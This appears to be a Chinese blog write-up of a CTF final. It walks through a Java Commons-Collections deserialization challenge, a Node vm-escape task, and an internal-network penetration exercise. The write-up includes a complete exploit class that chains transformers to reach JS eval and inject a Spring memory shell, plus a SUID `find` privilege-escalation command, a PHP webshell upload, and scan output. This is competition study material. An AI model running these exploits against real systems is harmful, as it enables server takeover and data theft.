目录

  1. 1. 前言
  2. 2. JavaUnbound
  3. 3. QLwist(Unsolved)
  4. 4. ISW
    1. 4.1. 外网 - 192.168.7.8
    2. 4.2. 内网信息收集
    3. 4.3. ollama(mailserver)- 192.168.7.13(Unsolved)
    4. 4.4. spring gateway - 192.168.7.83(Unsolved)
    5. 4.5. KMS Protobuf - 192.168.7.51(Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CCB 3rd 决赛

2026/4/28 线下赛
  |     |   总文章阅读量:

前言

第三届长城杯信息安全铁人三项赛(防护赛)全国总决赛

NISA-325Spark 位 58

力尽至此,已经不用再战斗了


JavaUnbound

一个 java 8 的反序列化,有 cc3.2.1 依赖

过滤:

public class SafeObjectInputStream extends ObjectInputStream {
    private static final String[] blacklist = new String[]{"java.lang.Runtime", "java.lang.ProcessBuilder", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.security.SignedObject", "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet", "javax.management.remote.rmi.RMIConnector"};

    public SafeObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();

        for(String forbiddenPackage : blacklist) {
            if (className.startsWith(forbiddenPackage)) {
                throw new InvalidClassException("Unauthorized deserialization attempt", className);
            }
        }

        return super.resolveClass(desc);
    }
}

能用的二次反序列化类都 ban 了,但是可以直接用 js 引擎调用 eval 来实现任意代码执行

测试发现不出网,还要打 springboot 2.6.0+ 的内存马

exp:

package com.ezjava;  
  
import javassist.ClassPool;  
import javassist.CtClass;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import javax.script.ScriptEngineManager;  
import java.io.ByteArrayOutputStream;  
import java.io.FileInputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Map;  
  
public class exp {  
    public static void main(String[] args) throws Exception {  
        byte[] bytesa = GenerateMemShell();  
        String a = Base64.getEncoder().encodeToString(bytesa);  

        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(ScriptEngineManager.class),  
  
                // 调用 Class<T> 的 newInstance(),参数为空  
                new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}),  
  
                // 调用 ScriptEngineManager 的 getEngineByName,参数为 "js"                new InvokerTransformer("getEngineByName",  
                        new Class[]{String.class},  
                        new Object[]{"js"}),  
  
                // 调用 ScriptEngine (接口) 的 eval(),参数为执行命令的 JS 代码  
                new InvokerTransformer("eval",  
                        new Class[]{String.class},  
                        new Object[]{"org.springframework.cglib.core.ReflectUtils.defineClass(\"com.ezjava.controller.InjectToController\",org.springframework.util.Base64Utils.decodeFromString(\""+a+"\"),java.lang.Thread.currentThread().getContextClassLoader()).newInstance()"})  
        };  
  
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);  
        HashMap<Object,Object> map = new HashMap<>();  
        Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));  
        TiedMapEntry t = new TiedMapEntry(lazymap, "key");  
        HashMap<Object, Object> finalmap = new HashMap<>();  
        finalmap.put(t, "value");  
        lazymap.remove("key");  
        Class c = LazyMap.class;  
        Field f = c.getDeclaredField("factory");  
        f.setAccessible(true);  
        f.set(lazymap,chainedTransformer);  
        byte[] bytes = serialize(finalmap);  
        String evilCode = Base64.getEncoder().encodeToString(bytes);  
        System.out.println(evilCode);  
    }  
    private static byte[] GenerateMemShell() throws Exception{  
        ClassPool pool = ClassPool.getDefault();  
        CtClass ctClass = pool.getCtClass("com.ezjava.controller.InjectToController");  
        return ctClass.toBytecode();  
    }  

    public static byte[] serialize(Object obj) throws Exception {  
        ByteArrayOutputStream out = new ByteArrayOutputStream();  
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(out);  
        objectOutputStream.writeObject(obj);  
        return out.toByteArray();  
    }  

    public static Object unserialize(String Filename) throws Exception {  
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));  
        Object o = in.readObject();  
        return o;  
    }  
}

QLwist(Unsolved)

最终利用点是 vm 逃逸

app.post('/admin/super/evaluate', requireRole('super_admin'), (req, res) => {
  const { expression } = req.body;
  if (typeof expression !== 'string' || expression.length > 4096) {
    return res.status(400).json({ error: 'Invalid expression' });
  }

  if (!validateExpression(expression)) {
    return res.status(400).json({ error: 'Expression contains disallowed identifiers' });
  }

  const ctx = { result: undefined, Math, JSON };
  const _p = globalThis.process;
  const _b = globalThis.Buffer;
  delete globalThis.process;
  delete globalThis.Buffer;

  let value;
  try {
    vm.runInNewContext(
      `result = (() => { ${expression} })()`,
      ctx,
      { timeout: 2000 },
    );
    value = String(ctx.result ?? '');
  } catch (e) {
    value = `Error: ${e.message}`;
  } finally {
    globalThis.process = _p;
    globalThis.Buffer = _b;
  }

  return res.json({ value });
});

限制:

删除 globalThis.process、globalThis.Buffer

关键字过滤 require, exec, spawn, child, process, module, binding, dlopen, global, import

表达式长度 4096

ssrf 部分:/api/link-check 打 /graphql

验证部分:

function authMiddleware(req, _res, next) {
  const header = req.headers['authorization'] || '';
  const token  = header.replace(/^Bearer\s+/i, '').trim()
              || req.cookies?.token;
  req.user = token ? verifyToken(token) : null;
  next();
}

graphql ban 了 schema 之后不知道怎么打才能泄露信息


ISW

外网 - 192.168.7.8

admin 以万能密码登录即可

后台可以上传文件,直接传 php 马 getshell

(cmsapp:/opt/cms/uploads) $ find / -perm -u=s -type f 2>/dev/null
/usr/libexec/polkit-agent-helper-1
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/chsh
/usr/bin/mount
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/find
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/snap/core20/2717/usr/bin/chfn
/snap/core20/2717/usr/bin/chsh
/snap/core20/2717/usr/bin/gpasswd
/snap/core20/2717/usr/bin/mount
/snap/core20/2717/usr/bin/newgrp
/snap/core20/2717/usr/bin/passwd
/snap/core20/2717/usr/bin/su
/snap/core20/2717/usr/bin/sudo
/snap/core20/2717/usr/bin/umount
/snap/core20/2717/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2717/usr/lib/openssh/ssh-keysign

提权

/usr/bin/find . -exec /bin/sh -pc "cat /f1ag" \; -quit

内网信息收集

(cmsapp:/opt/cms/uploads) $ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether fa:24:aa:4a:28:00 brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    altname ens3
    inet 10.11.131.243/28 metric 100 brd 10.11.131.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::f824:aaff:fe4a:2800/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether fa:57:f6:0a:9c:01 brd ff:ff:ff:ff:ff:ff
    altname enp0s4
    altname ens4
    inet 192.168.7.8/24 brd 192.168.7.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::f857:f6ff:fe0a:9c01/64 scope link 
       valid_lft forever preferred_lft forever
[*] start_Live_scan
 {icmp} 192.168.7.2     up
 {icmp} 192.168.7.8     up
 {icmp} 192.168.7.13    up
 {icmp} 192.168.7.51    up
 {icmp} 192.168.7.83    up
 {icmp} 192.168.7.128   up
[*] live Hosts num: 6
 192.168.7.2: [53]
 192.168.7.8: [22 80]
 192.168.7.13: [22 25 110 11434]
 192.168.7.51: [22 80 50051]
 192.168.7.83: [21 22 8092]
 192.168.7.128: [22]
[*] WebTitle http://192.168.7.8        code:200 len:8402   title:首页 | 华讯内容管理系统
[*] WebTitle http://192.168.7.51       code:200 len:595    title:Directory listing for /
[+] InfoScan http://192.168.7.51       [目录遍历] 
[*] WebTitle http://192.168.7.13:11434 code:200 len:17     title:None
[*] WebTitle http://192.168.7.83:8092  code:404 len:282    title:None

ollama(mailserver)- 192.168.7.13(Unsolved)

0.18.2 太新

ollama 存在 ssrf

接下来应该是打 ssrf 到邮件系统,不知道怎么打


spring gateway - 192.168.7.83(Unsolved)

Target: http://192.168.7.83:8092/

[10:41:56] Starting: 
[10:42:01] 200 -  163B  - /actuator
[10:42:01] 200 -    2B  - /actuator/gateway/routes
{"_links":{"self":{"href":"http://192.168.7.83:8092/actuator","templated":false},"gateway":{"href":"http://192.168.7.83:8092/actuator/gateway","templated":false}}}

尝试 CVE-2022-22947 不通

注意到有 21 端口,尝试 ftp 匿名登录

Connected to 192.168.7.83.
220 (vsFTPd 3.0.5)
Name (192.168.7.83:root): anonymous
230 Login successful.
ftp> ls
500 Illegal PORT command.
500 Unknown command.
425 Use PORT or PASV first.
ftp> pwd
257 "/" is the current directory
ftp> quote PASV
227 Entering Passive Mode (192,168,7,83,82,11).
ftp> ls -la
500 Illegal PORT command.
500 Unknown command.
ftp> passive
Passive mode on.
ftp> ls
227 Entering Passive Mode (192,168,7,83,82,18).
150 Here comes the directory listing.
drwxr-xr-x    1 ftp      ftp          4096 Mar 20 13:11 pub
ftp> cd pub
250 Directory successfully changed.
ftp> ls
227 Entering Passive Mode (192,168,7,83,82,17).
150 Here comes the directory listing.
-r--r--r--    1 ftp      ftp      38846258 Mar 10 16:14 app.jar

拿到源码

@RestController
@RequestMapping({"/analyze"})
public class AnalyzerController {
    private final TokenBean tokenBean;

    @Autowired
    public AnalyzerController(TokenBean tokenBean) {
        this.tokenBean = tokenBean;
    }

    @PostMapping
    public Mono<String> analyze(@RequestHeader("X-Token") String token, @RequestParam MultiValueMap<String, String> params) {
        String expectedToken = this.tokenBean.generateToken();
        if (!expectedToken.equals(token)) {
            return Mono.just("forbidden");
        } else {
            String serialVersionUID = (String)params.getFirst("uid");
            if (serialVersionUID == null) {
                return Mono.just("missing id");
            } else {
                String data = (String)params.getFirst("data");
                AnalyzerBean tool = new AnalyzerBean(this.tokenBean, serialVersionUID, data);
                return Mono.just(tool.readObject());
            }
        }
    }
}

总之需要预测随机数,这个也不会


KMS Protobuf - 192.168.7.51(Unsolved)

kms.proto

syntax = "proto3";

enum ActionType {
    CREATE = 0;
    READ = 1;
    UPDATE = 2;
    DELETE = 3;
}

message Credential {
    uint32 id = 1;
    string service_name = 2;
    uint32 key_size = 3;
    bytes secret_key = 4;
}

message KmsRequest {
    ActionType action = 1;
    Credential cred = 2;
}

message KmsResponse {
    bool success = 1;
    string message = 2;
    Credential cred = 3;
}

protokms 反编译的分析结果:

初始化阶段 (sub_2C80)

  1. 打开配置文件 /etc/passwd.keys
  2. 使用 fscanf("%31[^:]:%255s", ...) 读取格式化的密钥数据。
  3. 将解析出的字符串指针存入 qword_82C0,长度存入 dword_8280

主循环与协议解析 (sub_2D50)

  1. 读取长度: 从 stdin 读取 2 字节作为后续数据包长度。
  2. 分配内存malloc 申请对应大小的缓冲区。
  3. 读取载荷: 调用封装的 read() (sub_2BF0) 确保完整读取。
  4. 解包协议: 调用 sub_3360 (protobuf_c_message_unpack) 将二进制数据解析为 KmsRequest
  5. 动作分发: 检查 request->action (偏移24),根据值跳转到对应处理函数。
  6. 清理: 调用 sub_33B0 (protobuf_c_message_free_unpacked) 释放请求结构体,继续下一轮循环。